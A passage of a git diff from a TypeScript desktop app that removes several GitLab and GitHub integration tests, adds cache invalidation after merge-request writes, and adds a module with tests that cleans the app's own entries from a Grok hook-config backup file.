flight. + it.each(Object.entries(writes))( + '%s: the follow-up read starts after the write instead of joining an older poll', + async (_name, write) => { + const prePoll = Promise.withResolvers() + const poll = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + () => prePoll.promise + ) + await expect(write()).resolves.toEqual({ ok: true }) + const changed = { ...open, state: 'merged' as const } + const afterWrite = vi.fn(async () => changed) + const followUp = withHostedReviewBranchCache( + identity, + { headOid: null, force: true }, + afterWrite + ) + prePoll.resolve(open) + await poll + await expect(followUp).resolves.toEqual(changed) + expect(afterWrite).toHaveBeenCalledTimes(1) + } + ) +}) diff --git a/src/main/gitlab/client-work-items.test.ts b/src/main/gitlab/client-work-items.test.ts index ca1f16f9442..21b89adb0d4 100644 --- a/src/main/gitlab/client-work-items.test.ts +++ b/src/main/gitlab/client-work-items.test.ts @@ -111,23 +111,6 @@ describe('gitlab client — combined listWorkItems', () => { }) }) - it("skips the issues fetch when state === 'merged'", async () => { - glabApiWithHeadersMock.mockResolvedValueOnce({ body: '[]', headers: {} }) - - await listWorkItems('/repo', 'merged', 1, 20) - expect(glabExecFileAsyncMock).not.toHaveBeenCalled() - }) - - it('passes the closed state through to the issues fetch', async () => { - glabExecFileAsyncMock.mockImplementation(async () => { - return { stdout: '[]' } - }) - - await listWorkItems('/repo', 'closed', 1, 20) - const issuesCallPath = glabExecFileAsyncMock.mock.calls[0][0] as string[] - expect(issuesCallPath.at(-1)).toContain('state=closed') - }) - it('passes search queries through to merge request and issue fetches', async () => { glabApiWithHeadersMock.mockResolvedValueOnce({ body: '[]', headers: {} }) glabExecFileAsyncMock.mockResolvedValueOnce({ stdout: '[]' }) @@ -152,30 +135,6 @@ describe('gitlab client — combined listWorkItems', () => { expect(issueParams.has('search')).toBe(false) }) - it('passes the requested page through to merge request and issue fetches', async () => { - glabApiWithHeadersMock.mockResolvedValueOnce({ body: '[]', headers: {} }) - glabExecFileAsyncMock.mockResolvedValueOnce({ stdout: '[]' }) - - await listWorkItems('/repo', 'opened', 2, 20) - - const mergeRequestCallPath = glabApiWithHeadersMock.mock.calls[0][0] as string[] - const issuesCallPath = glabExecFileAsyncMock.mock.calls[0][0] as string[] - const mergeRequestParams = new URLSearchParams(mergeRequestCallPath[0].split('?')[1]) - const issueParams = new URLSearchParams(issuesCallPath.at(-1)?.split('?')[1]) - expect(mergeRequestParams.get('page')).toBe('2') - expect(issueParams.get('page')).toBe('2') - }) - - it("omits the state param when 'all'", async () => { - glabExecFileAsyncMock.mockImplementation(async () => { - return { stdout: '[]' } - }) - - await listWorkItems('/repo', 'all', 1, 20) - const issuesCallPath = glabExecFileAsyncMock.mock.calls[0][0] as string[] - expect(issuesCallPath.at(-1)).not.toContain('state=') - }) - it('routes issue list fetches through the selected SSH GitLab host', async () => { resolveIssueSourceMock.mockResolvedValueOnce({ source: { host: 'git.internal', path: 'g/p' }, @@ -203,14 +162,6 @@ describe('gitlab client — combined listWorkItems', () => { expect(glabExecFileAsyncMock).not.toHaveBeenCalled() }) - it('surfaces the MR error envelope into the combined result', async () => { - glabApiWithHeadersMock.mockRejectedValueOnce(new Error('HTTP 403 Forbidden')) - glabExecFileAsyncMock.mockResolvedValueOnce({ stdout: '[]' }) - - const result = await listWorkItems('/repo', 'opened', 1, 20) - expect(result.error?.type).toBe('permission_denied') - }) - it('still returns issues when MRs error out', async () => { glabApiWithHeadersMock.mockRejectedValueOnce(new Error('HTTP 500')) glabExecFileAsyncMock.mockResolvedValueOnce({ diff --git a/src/main/gitlab/merge-request-creation.test.ts b/src/main/gitlab/merge-request-creation.test.ts index 6acb317068e..71caf8cbf53 100644 --- a/src/main/gitlab/merge-request-creation.test.ts +++ b/src/main/gitlab/merge-request-creation.test.ts @@ -137,53 +137,6 @@ describe('createGitLabMergeRequest', () => { }) }) - it('creates SSH-backed merge requests without using the remote path as a local cwd', async () => { - glabExecFileAsyncMock.mockResolvedValueOnce({ - stdout: JSON.stringify({ - iid: 45, - web_url: 'https://gitlab.com/acme/widgets/-/merge_requests/45' - }), - stderr: '' - }) - - await expect( - createGitLabMergeRequest( - '/remote/repo-root', - { - provider: 'gitlab', - base: 'main', - head: 'feature/ssh-create-mr', - title: 'SSH Create MR' - }, - 'ssh:ssh-1' - ) - ).resolves.toEqual({ - ok: true, - number: 45, - url: 'https://gitlab.com/acme/widgets/-/merge_requests/45' - }) - - expect(getProjectSlugMock).toHaveBeenCalledWith('/remote/repo-root', 'ssh-1') - const [args, options] = glabExecFileAsyncMock.mock.calls[0] - expect(args).toEqual( - expect.arrayContaining([ - 'mr', - 'create', - '-R', - 'acme/widgets', - '--target-branch', - 'main', - '--source-branch', - 'feature/ssh-create-mr' - ]) - ) - expect(options).toMatchObject({ - timeout: 60_000, - idempotent: false - }) - expect(options).not.toHaveProperty('cwd') - }) - it('returns an existing merge request when GitLab reports a duplicate', async () => { glabExecFileAsyncMock .mockRejectedValueOnce(new Error('merge request already exists')) diff --git a/src/main/gitlab/merge-request-state-mutations.ts b/src/main/gitlab/merge-request-state-mutations.ts index bfb6391cd1e..a6beec3e436 100644 --- a/src/main/gitlab/merge-request-state-mutations.ts +++ b/src/main/gitlab/merge-request-state-mutations.ts @@ -10,6 +10,7 @@ import { } from './gl-utils' import { withProjectRef } from './merge-request-project-resolution' import { codeHostFailure } from '../../shared/code-host-failure-copy' +import { invalidateReviewLookupsAfterPRMutation } from '../github/pr-mutation-review-invalidation' // Why: glab's MRCheckErrors refuses a no-op close/reopen with these fixed texts; every other // failure, including "has already been merged", must surface. @@ -45,6 +46,8 @@ export async function closeMR( return { ok: false, error: msg } } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), @@ -81,6 +84,8 @@ export async function reopenMR( return { ok: false, error: msg } } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), @@ -119,6 +124,8 @@ export async function mergeMR( return { ok: false, error: err instanceof Error ? err.message : String(err) } } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), diff --git a/src/main/gitlab/merge-request-update.ts b/src/main/gitlab/merge-request-update.ts index acab47e1424..dbfd63486a6 100644 --- a/src/main/gitlab/merge-request-update.ts +++ b/src/main/gitlab/merge-request-update.ts @@ -15,6 +15,7 @@ import { stripGitLabDraftTitlePrefix } from './merge-request-draft-title' import { withProjectRef } from './merge-request-project-resolution' import { tryMarkMRReady } from './merge-request-ready' import { codeHostFailure, classifiedFailure } from '../../shared/code-host-failure-copy' +import { invalidateReviewLookupsAfterPRMutation } from '../github/pr-mutation-review-invalidation' export async function updateMR( repoPath: string, @@ -133,6 +134,8 @@ export async function updateMR( return classifiedFailure(classifyGlabError(msg)) } finally { release() + // Even a failed write may have landed; later reads must not reuse an answer from before it. + invalidateReviewLookupsAfterPRMutation(repoPath, connectionId) } }, codeHostFailure('gitlab.projectUnresolved'), diff --git a/src/main/grok/grok-hook-backup-cleanup.test.ts b/src/main/grok/grok-hook-backup-cleanup.test.ts new file mode 100644 index 00000000000..1374d4fcf07 --- /dev/null +++ b/src/main/grok/grok-hook-backup-cleanup.test.ts @@ -0,0 +1,92 @@ +import { + copyFileSync, + existsSync, + mkdtempSync, + readFileSync, + rmSync, + symlinkSync, + writeFileSync +} from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' + +const { homedirMock } = vi.hoisted(() => ({ homedirMock: vi.fn<() => string>() })) +vi.mock('os', async () => ({ + ...(await vi.importActual>('os')), + homedir: homedirMock +})) + +import { GrokHookService } from './hook-service' +import { removeGrokHookBackupEntries } from './grok-hook-backup-cleanup' + +const USER_HOOK = { matcher: '*', hooks: [{ type: 'command', command: 'my-own-hook' }] } + +describe('the Grok hook file backup after removal', () => { + let homeDir: string + let configPath: string + let backupPath: string + + beforeEach(() => { + homeDir = mkdtempSync(join(tmpdir(), 'orca-grok-backup-')) + homedirMock.mockReturnValue(homeDir) + configPath = join(homeDir, '.grok', 'hooks', 'orca-status.json') + backupPath = `${configPath}.bak` + }) + + afterEach(() => { + rmSync(homeDir, { recursive: true, force: true }) + vi.restoreAllMocks() + }) + + it.each(['sync', 'quit'] as const)( + 'deletes a backup that held only Orca entries (%s path)', + async (path) => { + const service = new GrokHookService() + expect(service.install().state).toBe('installed') + copyFileSync(configPath, backupPath) + + if (path === 'sync') { + service.remove() + } else { + await service.removeAsync() + } + + expect(existsSync(configPath)).toBe(false) + expect(existsSync(backupPath)).toBe(false) + } + ) + + it("strips Orca's entries from a backup that also holds the user's own", () => { + const service = new GrokHookService() + expect(service.install().state).toBe('installed') + const config: { hooks: Record } = JSON.parse( + readFileSync(configPath, 'utf8') + ) + config.hooks.UserCustomEvent = [USER_HOOK] + writeFileSync(configPath, `${JSON.stringify(config, null, 2)}\n`) + copyFileSync(configPath, backupPath) + + service.remove() + + const backup = readFileSync(backupPath, 'utf8') + expect(backup).toContain('my-own-hook') + expect(backup).not.toContain('orca') + }) + + it('leaves a symlinked backup alone', () => { + const service = new GrokHookService() + expect(service.install().state).toBe('installed') + const target = join(homeDir, 'elsewhere.json') + copyFileSync(configPath, target) + symlinkSync(target, backupPath) + + removeGrokHookBackupEntries(configPath) + + expect(readFileSync(target, 'utf8')).toContain('orca') + }) + + it('does nothing without a backup', () => { + expect(() => removeGrokHookBackupEntries(configPath)).not.toThrow() + }) +}) diff --git a/src/main/grok/grok-hook-backup-cleanup.ts b/src/main/grok/grok-hook-backup-cleanup.ts new file mode 100644 index 00000000000..768d05e0ce7 --- /dev/null +++ b/src/main/grok/grok-hook-backup-cleanup.ts @@ -0,0 +1,67 @@ +import { lstatSync, rmSync, writeFileSync } from 'node:fs' +import { lstat, rm, writeFile } from 'node:fs/promises' +import { readHooksJsonWithRaw, type HooksConfig } from '../agent-hooks/installer-utils' +import { hasErrorCode } from '../daemon/daemon-process-inspection' +import { isOrcaOwnedRemnant, removeManagedGrokHookEntries } from './grok-hook-config-cleanup' +import { readGrokHookConfigSnapshot } from './grok-hook-config-file' +import { getGrokManagedScriptFileName } from './grok-hook-script' + +type BackupAction = { kind: 'delete' } | { kind: 'rewrite'; contents: string } | null + +/** Our writes keep a rolling `.bak` of the hook file, which still names Orca's script after + * removal: delete it when only Orca's entries were in it, otherwise strip just those. */ +function backupAction(config: HooksConfig | null, raw: string | null): BackupAction { + if (!config || raw === null) { + return null + } + const cleanup = removeManagedGrokHookEntries(config, getGrokManagedScriptFileName()) + if (isOrcaOwnedRemnant(cleanup.config)) { + return { kind: 'delete' } + } + return cleanup.removedAny + ? { kind: 'rewrite', contents: `${JSON.stringify(cleanup.config, null, 2)}\n` } + : null +} + +function warnUnlessMissing(error: unknown): void { + if (!hasErrorCode(error, 'ENOENT')) { + console.warn('[grok] could not clean the hook backup:', error) + } +} + +export function removeGrokHookBackupEntries(configPath: string): void { + const backup = `${configPath}.bak` + try { + if (lstatSync(backup).isSymbolicLink()) { + return + } + const snapshot = readHooksJsonWithRaw(backup) + const action = backupAction(snapshot.config, snapshot.raw) + if (action?.kind === 'delete') { + rmSync(backup, { force: true }) + } else if (action?.kind === 'rewrite') { + writeFileSync(backup, action.contents) + } + } catch (error) { + warnUnlessMissing(error) + } +} + +/** The quit path's variant: no synchronous fs calls. */ +export async function removeGrokHookBackupEntriesAsync(configPath: string): Promise { + const backup = `${configPath}.bak` + try { + if ((await lstat(backup)).isSymbolicLink()) { + return + } + const snapshot = await readGrokHookConfigSnapshot(backup) + const action = backupAction(snapshot.config, snapshot.raw) + if (action?.kind === 'delete') { + await rm(backup, { force: true }) + } else if (action?.kind === 'rewrite') { + await writeFile(backup, action.contents) + } + } catch (error) { + warnUnlessMissing(error) + } +} diff --git a/src/main/grok/grok-hook-config-file.test.ts b/src/main/grok/grok-hook-config-file.test.ts index 592bb21c485..d18bcf9464a 100644 --- a/src/main/grok/grok-hook-config-file.test.ts +++ b/src/main/grok/grok-hook-config-file.test.ts @@ -43,15 +43,6 @@ describe('guarded Grok hook config mutation', () => { expect(readFileSync(configPath, 'utf8')).toBe(userEdit) }) - it('treats a newer user deletion as a generation mismatch', async () => { - const configPath = makeConfigPath() - const installed = '{"hooks":{"SessionStart":[]}}\n' - writeFileSync(configPath, installed) - rmSync(configPath) - - await expect(removeGrokHookConfigIfUnchanged(configPath, installed)).resolves.toBe(false) - }) - it('does not overwrite a newer user edit', async () => { const configPath = makeConfigPath() const installed = '{"hooks":{"SessionStart":[]}}\n' @@ -152,36 +143,6 @@ describe('guarded Grok hook config mutation', () => { expect(statSync(configPath).mode & 0o777).toBe(0o600) }) - // Grok rejects global hook files with nlink !=1; publishing through a hard link creates a session-failure window. - it('never publishes the config through a second hard link', async () => { - const configPath = makeConfigPath() - const installed = '{"hooks":{"SessionStart":[]}}\n' - writeFileSync(configPath, installed) - - const linkCounts: number[] = [] - const sampler = setInterval(() => { - try { - linkCounts.push(statSync(configPath).nlink) - } catch { - /* absent mid-swap is fine; only a second link is not */ - } - }, 0) - try { - for (let i = 0; i < 40; i += 1) { - const next = `{"hooks":{"SessionStart":[],"n":${i}}}\n` - await expect( - writeGrokHookConfigIfUnchanged(configPath, readFileSync(configPath, 'utf8'), next) - ).resolves.toBe(true) - } - } finally { - clearInterval(sampler) - } - - expect(linkCounts.length).toBeGreaterThan(0) - expect(Math.max(...linkCounts)).toBe(1) - expect(statSync(configPath).nlink).toBe(1) - }) - it('removes the config and reports the removal', async () => { const configPath = makeConfigPath() const installed = '{"hooks":{"SessionStart":[]}}\n' diff --git a/src/main/grok/hook-service.ts b/src/main/grok/hook-service.ts index abe2b6135e3..3f1783c2038 100644 --- a/src/main/grok/hook-service.ts +++ b/src/main/grok/hook-service.ts @@ -11,6 +11,10 @@ import { } from '../agent-hooks/installer-utils' import { refreshManagedScriptIfPresent } from '../agent-hooks/managed-hook-script-refresh' import { isOrcaOwnedRemnant, removeManagedGrokHookEntries } from './grok-hook-config-cleanup' +import { + removeGrokHookBackupEntries, + removeGrokHookBackupEntriesAsync +} from './grok-hook-backup-cleanup' import { buildInstalledGrokConfig, GROK_EVENTS, GROK_TOOL_EVENT_MATCHER } from './grok-hook-config' import { installRemoteGrokHook } from './grok-hook-remote-install' import { @@ -232,6 +236,7 @@ export class GrokHookService { } else { writeHooksJson(configPath, cleanup.config) } + removeGrokHookBackupEntries(configPath) return notInstalledStatus(configPath) } @@ -281,6 +286,9 @@ export class GrokHookService { if (updated && configIsSymlink) { await recordGrokSymlinkCleanup(configPath, serialized) } + if (updated) { + await removeGrokHookBackupEntriesAsync(configPath) + } return updated ? notInstalledStatus(configPath) : notInstalledStatus(configPath, 'Grok hook config changed during cleanup') diff --git a/src/main/hooks-issue-command.test.ts b/src/main/hooks-issue-command.test.ts deleted file mode 100644 index 42686241930..00000000000 --- a/src/main/hooks-issue-command.test.ts +++ /dev/null @@ -1,144 +0,0 @@ -import type * as GitRunner from './git/runner' - -import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import { - TEST_GITIGNORE_PATH, - TEST_ISSUE_COMMAND_PATH, - TEST_REPO_ORCA_YAML_PATH, - TEST_REPO_PATH -} from './hooks-test-fixtures' - -vi.mock('fs', () => ({ - readFileSync: vi.fn(), - existsSync: vi.fn(), - mkdirSync: vi.fn(), - writeFileSync: vi.fn(), - rmSync: vi.fn(), - chmodSync: vi.fn() -})) - -const { gitExecFileSyncMock } = vi.hoisted(() => ({ - gitExecFileSyncMock: vi.fn() -})) - -vi.mock('child_process', () => ({ - exec: vi.fn(), - execFile: vi.fn(), - execFileSync: vi.fn(), - spawn: vi.fn() -})) - -vi.mock('./git/runner', async () => ({ - ...(await vi.importActual('./git/runner')), - gitExecFileSync: gitExecFileSyncMock -})) - -vi.mock('./git/check-ignored-paths', () => ({ - checkIgnoredPaths: vi.fn().mockResolvedValue([]) -})) - -describe('readIssueCommand', () => { - it('prefers the local override over the shared orca.yaml command', async () => { - const fs = await import('node:fs') - vi.mocked(fs.existsSync).mockImplementation( - (path) => path === TEST_ISSUE_COMMAND_PATH || path === TEST_REPO_ORCA_YAML_PATH - ) - vi.mocked(fs.readFileSync).mockImplementation((path) => { - if (path === TEST_ISSUE_COMMAND_PATH) { - return 'local command\n' - } - if (path === TEST_REPO_ORCA_YAML_PATH) { - return 'issueCommand: |\n shared command\n' - } - return '' - }) - - const { readIssueCommand } = await import('./issue-command-file') - expect(readIssueCommand(TEST_REPO_PATH)).toEqual({ - localContent: 'local command', - sharedContent: 'shared command', - effectiveContent: 'local command', - localFilePath: TEST_ISSUE_COMMAND_PATH, - source: 'local' - }) - }) - - it('falls back to the shared orca.yaml command when no local override exists', async () => { - const fs = await import('node:fs') - vi.mocked(fs.existsSync).mockImplementation((path) => path === TEST_REPO_ORCA_YAML_PATH) - vi.mocked(fs.readFileSync).mockImplementation((path) => { - if (path === TEST_REPO_ORCA_YAML_PATH) { - return 'issueCommand: |\n shared command\n' - } - return '' - }) - - const { readIssueCommand } = await import('./issue-command-file') - expect(readIssueCommand(TEST_REPO_PATH)).toEqual({ - localContent: null, - sharedContent: 'shared command', - effectiveContent: 'shared command', - localFilePath: TEST_ISSUE_COMMAND_PATH, - source: 'shared' - }) - }) -}) - -describe('writeIssueCommand', () => { - it('checks file ignore rules in the selected WSL distro', async () => { - const { writeIssueCommand } = await import('./issue-command-file') - const { checkIgnoredPaths } = await import('./git/check-ignored-paths') - const fs = await import('node:fs') - vi.mocked(checkIgnoredPaths).mockResolvedValueOnce(['.orca/issue-command']) - vi.mocked(fs.writeFileSync).mockClear() - - await writeIssueCommand(TEST_REPO_PATH, 'local command', { wslDistro: 'Ubuntu' }) - - expect(checkIgnoredPaths).toHaveBeenLastCalledWith(TEST_REPO_PATH, ['.orca/issue-command'], { - wslDistro: 'Ubuntu' - }) - expect(fs.writeFileSync).toHaveBeenCalledExactlyOnceWith( - TEST_ISSUE_COMMAND_PATH, - 'local command\n', - 'utf-8' - ) - }) - - it('writes only the local override file and keeps .orca ignored locally', async () => { - const fs = await import('node:fs') - vi.mocked(fs.existsSync).mockImplementation( - (path) => path === TEST_GITIGNORE_PATH || path === join(TEST_REPO_PATH, '.orca') - ) - vi.mocked(fs.readFileSync).mockImplementation((path) => { - if (path === TEST_GITIGNORE_PATH) { - return 'node_modules/\n' - } - return '' - }) - - const { writeIssueCommand } = await import('./issue-command-file') - await writeIssueCommand(TEST_REPO_PATH, 'local command') - - expect(vi.mocked(fs.writeFileSync)).toHaveBeenCalledWith( - TEST_GITIGNORE_PATH, - 'node_modules/\n.orca\n', - 'utf-8' - ) - expect(vi.mocked(fs.writeFileSync)).toHaveBeenCalledWith( - TEST_ISSUE_COMMAND_PATH, - 'local command\n', - 'utf-8' - ) - }) - - it('deletes the local override when the override is cleared', async () => { - const { writeIssueCommand } = await import('./issue-command-file') - const fs = await import('node:fs') - await writeIssueCommand(TEST_REPO_PATH, ' ') - - expect(vi.mocked(fs.rmSync)).toHaveBeenCalledWith(TEST_ISSUE_COMMAND_PATH, { - force: true - }) - }) -}) diff --git a/src/main/integration-state-file-cache.test.ts b/src/main/integration-state-file-cache.test.ts index f1b3de9e802..92673a31041 100644 --- a/src/main/integration-state-file-cache.test.ts +++ b/src/main/integration-state-file-cache.test.ts @@ -45,20 +45,6 @@ describe('createIntegrationStateFileCache', () => { expect(reads).toBe(1) }) - it('reloads once the file changes underneath it', () => { - const path = tempFile() - writeFileSync(path, 'a') - const cache = createIntegrationStateFileCache({ - filePath: () => path, - readFromDisk: () => ({ body: readBody(path) }) - }) - expect(cache.get()).toEqual({ body: 'a' }) - - writeFileSync(path, 'bb') - - expect(cache.get()).toEqual({ body: 'bb' }) - }) - it('notices a same-size atomic replacement with the original modification time', () => { const path = tempFile() writeFileSync(path, 'old') @@ -116,21 +102,6 @@ describe('createIntegrationStateFileCache', () => { expect(cache.get()).toEqual({ present: false }) }) - it('re-reads after an invalidate so the value and stamp come from the same look', () => { - const path = tempFile() - writeFileSync(path, 'a') - const cache = createIntegrationStateFileCache({ - filePath: () => path, - readFromDisk: () => ({ body: readBody(path) }) - }) - expect(cache.get()).toEqual({ body: 'a' }) - - writeFileSync(path, 'written-by-us') - cache.invalidate() - - expect(cache.get()).toEqual({ body: 'written-by-us' }) - }) - it('recovers when another process writes between the stamp and the read', () => { const path = tempFile() writeFileSync(path, 'v1') diff --git a/src/main/ipc/ai-vault-search.test.ts b/src/main/ipc/ai-vault-search.test.ts index cfb76ba3cf1..04c8e84796c 100644 --- a/src/main/ipc/ai-vault-search.test.ts +++ b/src/main/ipc/ai-vault-search.test.ts @@ -240,9 +240,15 @@ describe('local search hits owned by a native chat', () => { record.providerHandleChain = [ { ...record.providerHandleChain[0]!, handle: codexProviderHandle('host-session') } ] - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ownership projection only reads this record-list member. + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ownership projection reads only `listConversations`, `getRecord` and `hostId`. setStructuredAgentSessionHost({ - deps: { store: { listConversations: () => [agentSessionConversationView(record)] } } + deps: { + store: { + hostId: 'local', + getRecord: (sessionId: string) => (sessionId === record.sessionId ? record : null), + listConversations: () => [agentSessionConversationView(record)] + } + } } as never) return { sessionId: record.sessionId, workspaceId: record.location.workspaceId } } diff --git a/src/main/ipc/github-issue-source-preference.test.ts b/src/main/ipc/github-issue-source-preference.test.ts deleted file mode 100644 index 4b5103dabf5..00000000000 --- a/src/main/ipc/github-issue-source-preference.test.ts +++ /dev/null @@ -1,254 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const mocks = await vi.hoisted(async () => { - const { createGitHubIpcMocks } = await import('./github-ipc-module-mocks') - return createGitHubIpcMocks() -}) - -vi.mock('electron', () => mocks.electron) -vi.mock('../github/client', () => mocks.client) -vi.mock('../github/work-item-details', () => mocks.workItemDetails) -vi.mock('../github/pr-refresh-coordinator', () => mocks.prRefresh) -vi.mock('../telemetry/client', () => mocks.telemetry) -vi.mock('../telemetry/cohort-classifier', () => mocks.cohort) -vi.mock('./ui', () => mocks.ui) - -import { registerGitHubHandlers } from './github' -import { createGitHubIpcHarness } from './github-ipc-test-harness' - -const { - listIssues: listIssuesMock, - listWorkItems: listWorkItemsMock, - getWorkItem: getWorkItemMock -} = mocks.client -const { getWorkItemDetails: getWorkItemDetailsMock } = mocks.workItemDetails - -describe('registerGitHubHandlers', () => { - const harness = createGitHubIpcHarness(mocks) - const { handlers, store, stats } = harness - - beforeEach(harness.reset) - - it('drops the error field from listIssues envelope at the IPC boundary', async () => { - // Preserve legacy gh:listIssues arrays; only gh:listWorkItems exposes the richer items/error envelope. - listIssuesMock.mockResolvedValue({ - items: [], - error: { - type: 'permission_denied', - message: - "You don't have permission to read issues for this repository. Check your GitHub token scopes." - } - }) - - registerGitHubHandlers(store as never, stats as never) - - const result = await handlers['gh:listIssues'](null, { - repoPath: '/workspace/repo', - limit: 5 - }) - - expect(listIssuesMock).toHaveBeenCalledWith('/workspace/repo', 5, undefined, null) - expect(result).toEqual([]) - }) - - it('threads issueSourcePreference through gh:listIssues', async () => { - // Use a nondefault preference so missing argument forwarding cannot pass silently. - harness.repos[0].issueSourcePreference = 'upstream' - listIssuesMock.mockResolvedValue({ items: [] }) - - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:listIssues'](null, { - repoPath: '/workspace/repo', - limit: 5 - }) - - expect(listIssuesMock).toHaveBeenCalledWith('/workspace/repo', 5, 'upstream', null) - }) - - it('threads issueSourcePreference through gh:listWorkItems', async () => { - harness.repos[0].issueSourcePreference = 'origin' - listWorkItemsMock.mockResolvedValue({ items: [] }) - - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:listWorkItems'](null, { - repoPath: '/workspace/repo', - limit: 10, - query: 'is:open', - page: 2, - noCache: true - }) - - expect(listWorkItemsMock).toHaveBeenCalledWith( - '/workspace/repo', - 10, - 'is:open', - 2, - 'origin', - null, - true - ) - }) - - // Open-by-number must use the listed source when origin/upstream share an item number. - it('pins the repo origin source preference on work item and details IPC', async () => { - harness.repos = [ - { - id: 'repo-1', - path: '/workspace/repo', - displayName: 'repo', - badgeColor: '#000', - addedAt: 0, - issueSourcePreference: 'origin' - } - ] - getWorkItemMock.mockResolvedValue(null) - getWorkItemDetailsMock.mockResolvedValue(null) - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:workItem'](null, { repoPath: '/workspace/repo', number: 42, type: 'pr' }) - await handlers['gh:workItemDetails'](null, { - repoPath: '/workspace/repo', - number: 42, - type: 'pr' - }) - - expect(getWorkItemMock).toHaveBeenCalledWith( - '/workspace/repo', - 42, - 'pr', - null, - undefined, - 'origin' - ) - expect(getWorkItemDetailsMock).toHaveBeenCalledWith( - '/workspace/repo', - 42, - 'pr', - null, - undefined, - 'origin' - ) - }) - - it('passes the displayed repository ahead of the current source preference', async () => { - harness.repos[0].issueSourcePreference = 'upstream' - const ownerRepo = { owner: 'fork-owner', repo: 'widgets', host: 'github.com' } - mocks.client.updateIssue.mockResolvedValue({ ok: false, error: 'stub' }) - getWorkItemDetailsMock.mockResolvedValue(null) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: These fixtures implement the repo methods used by the handlers; unrelated handlers are only registered. - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:workItemDetails'](null, { - repoPath: '/workspace/repo', - number: 12, - type: 'issue', - ownerRepo - }) - await handlers['gh:updateIssue'](null, { - repoPath: '/workspace/repo', - number: 12, - updates: { body: 'Origin edit' }, - ownerRepo - }) - await handlers['gh:listLabels'](null, { repoPath: '/workspace/repo', ownerRepo }) - await handlers['gh:listAssignableUsers'](null, { repoPath: '/workspace/repo', ownerRepo }) - - expect(getWorkItemDetailsMock).toHaveBeenCalledWith( - '/workspace/repo', - 12, - 'issue', - null, - undefined, - 'upstream', - ownerRepo - ) - expect(mocks.client.updateIssue).toHaveBeenCalledWith( - '/workspace/repo', - 12, - { body: 'Origin edit' }, - null, - undefined, - 'upstream', - ownerRepo - ) - expect(mocks.client.listLabels).toHaveBeenCalledWith( - '/workspace/repo', - 'upstream', - null, - undefined, - ownerRepo - ) - expect(mocks.client.listAssignableUsers).toHaveBeenCalledWith( - '/workspace/repo', - 'upstream', - null, - undefined, - ownerRepo - ) - }) - - it('pins the repo origin source preference on issue update and comment IPC', async () => { - harness.repos = [ - { - id: 'repo-1', - path: '/workspace/repo', - displayName: 'repo', - badgeColor: '#000', - addedAt: 0, - issueSourcePreference: 'origin' - } - ] - mocks.client.updateIssue.mockResolvedValue({ ok: false, error: 'stub' }) - mocks.client.addIssueComment.mockResolvedValue({ ok: false, error: 'stub' }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: These fixtures implement the repo methods used by the handlers; unrelated handlers are only registered. - registerGitHubHandlers(store as never, stats as never) - - await handlers['gh:updateIssue'](null, { - repoPath: '/workspace/repo', - number: 5, - updates: { body: 'Updated' } - }) - await handlers['gh:addIssueComment'](null, { - repoPath: '/workspace/repo', - number: 5, - body: 'Issue comment' - }) - await handlers['gh:addIssueComment'](null, { - repoPath: '/workspace/repo', - number: 6, - body: 'PR comment', - type: 'pr' - }) - - expect(mocks.client.updateIssue).toHaveBeenCalledWith( - '/workspace/repo', - 5, - { body: 'Updated' }, - null, - undefined, - 'origin' - ) - expect(mocks.client.addIssueComment).toHaveBeenNthCalledWith( - 1, - '/workspace/repo', - 5, - 'Issue comment', - null, - null, - undefined, - 'origin' - ) - expect(mocks.client.addIssueComment).toHaveBeenNthCalledWith( - 2, - '/workspace/repo', - 6, - 'PR comment', - null, - null, - undefined, - undefined - ) - }) -}) diff --git a/src/main/ipc/hosted-review.test.ts b/src/main/ipc/hosted-review.test.ts index 3998a1beea2..1daa0127c9a 100644 --- a/src/main/ipc/hosted-review.test.ts +++ b/src/main/ipc/hosted-review.test.ts @@ -51,7 +51,12 @@ vi.mock('../source-control/stacked-hosted-review-creation', () => ({ })) vi.mock('../source-control/hosted-review', () => ({ - getHostedReviewForBranch: getHostedReviewForBranchMock + getHostedReviewForBranch: getHostedReviewForBranchMock, + // Handlers read through this; keep asserting on the one mock. + readHostedReviewForBranch: vi.fn(async (input: unknown) => ({ + review: await getHostedReviewForBranchMock(input), + readOutcome: 'cached' + })) })) vi.mock('./registered-worktree-roots-cache', () => ({ @@ -63,11 +68,31 @@ vi.mock('../repo-worktrees', () => ({ })) import { registerHostedReviewHandlers } from './hosted-review' +import { readHostedReviewForBranch } from '../source-control/hosted-review' +import type { HostedReviewInfo } from '../../shared/hosted-review' import { WslDistroStoppedError } from '../wsl/wsl-unc-access-gate' import { WorktreeCatalogUnavailableError } from '../../shared/worktree/worktree-catalog-availability' type HandlerMap = Record unknown> +const providerReview: HostedReviewInfo = { + provider: 'gitlab', + number: 7, + title: 'MR', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + state: 'open', + status: 'success', + mergeable: 'MERGEABLE', + updatedAt: '2026-10-30' +} +// Only a caller that asks gets the outcome envelope; a definitive null keeps its outcome too. +const READ_OUTCOME_REPLIES = [ + { reportReadOutcome: true, review: providerReview }, + { reportReadOutcome: true, review: null }, + { reportReadOutcome: false, review: providerReview }, + { reportReadOutcome: undefined, review: null } +] + describe('registerHostedReviewHandlers', () => { const handlers: HandlerMap = {} const repoPath = '/remote/workspace/repo' @@ -431,7 +456,7 @@ describe('registerHostedReviewHandlers', () => { 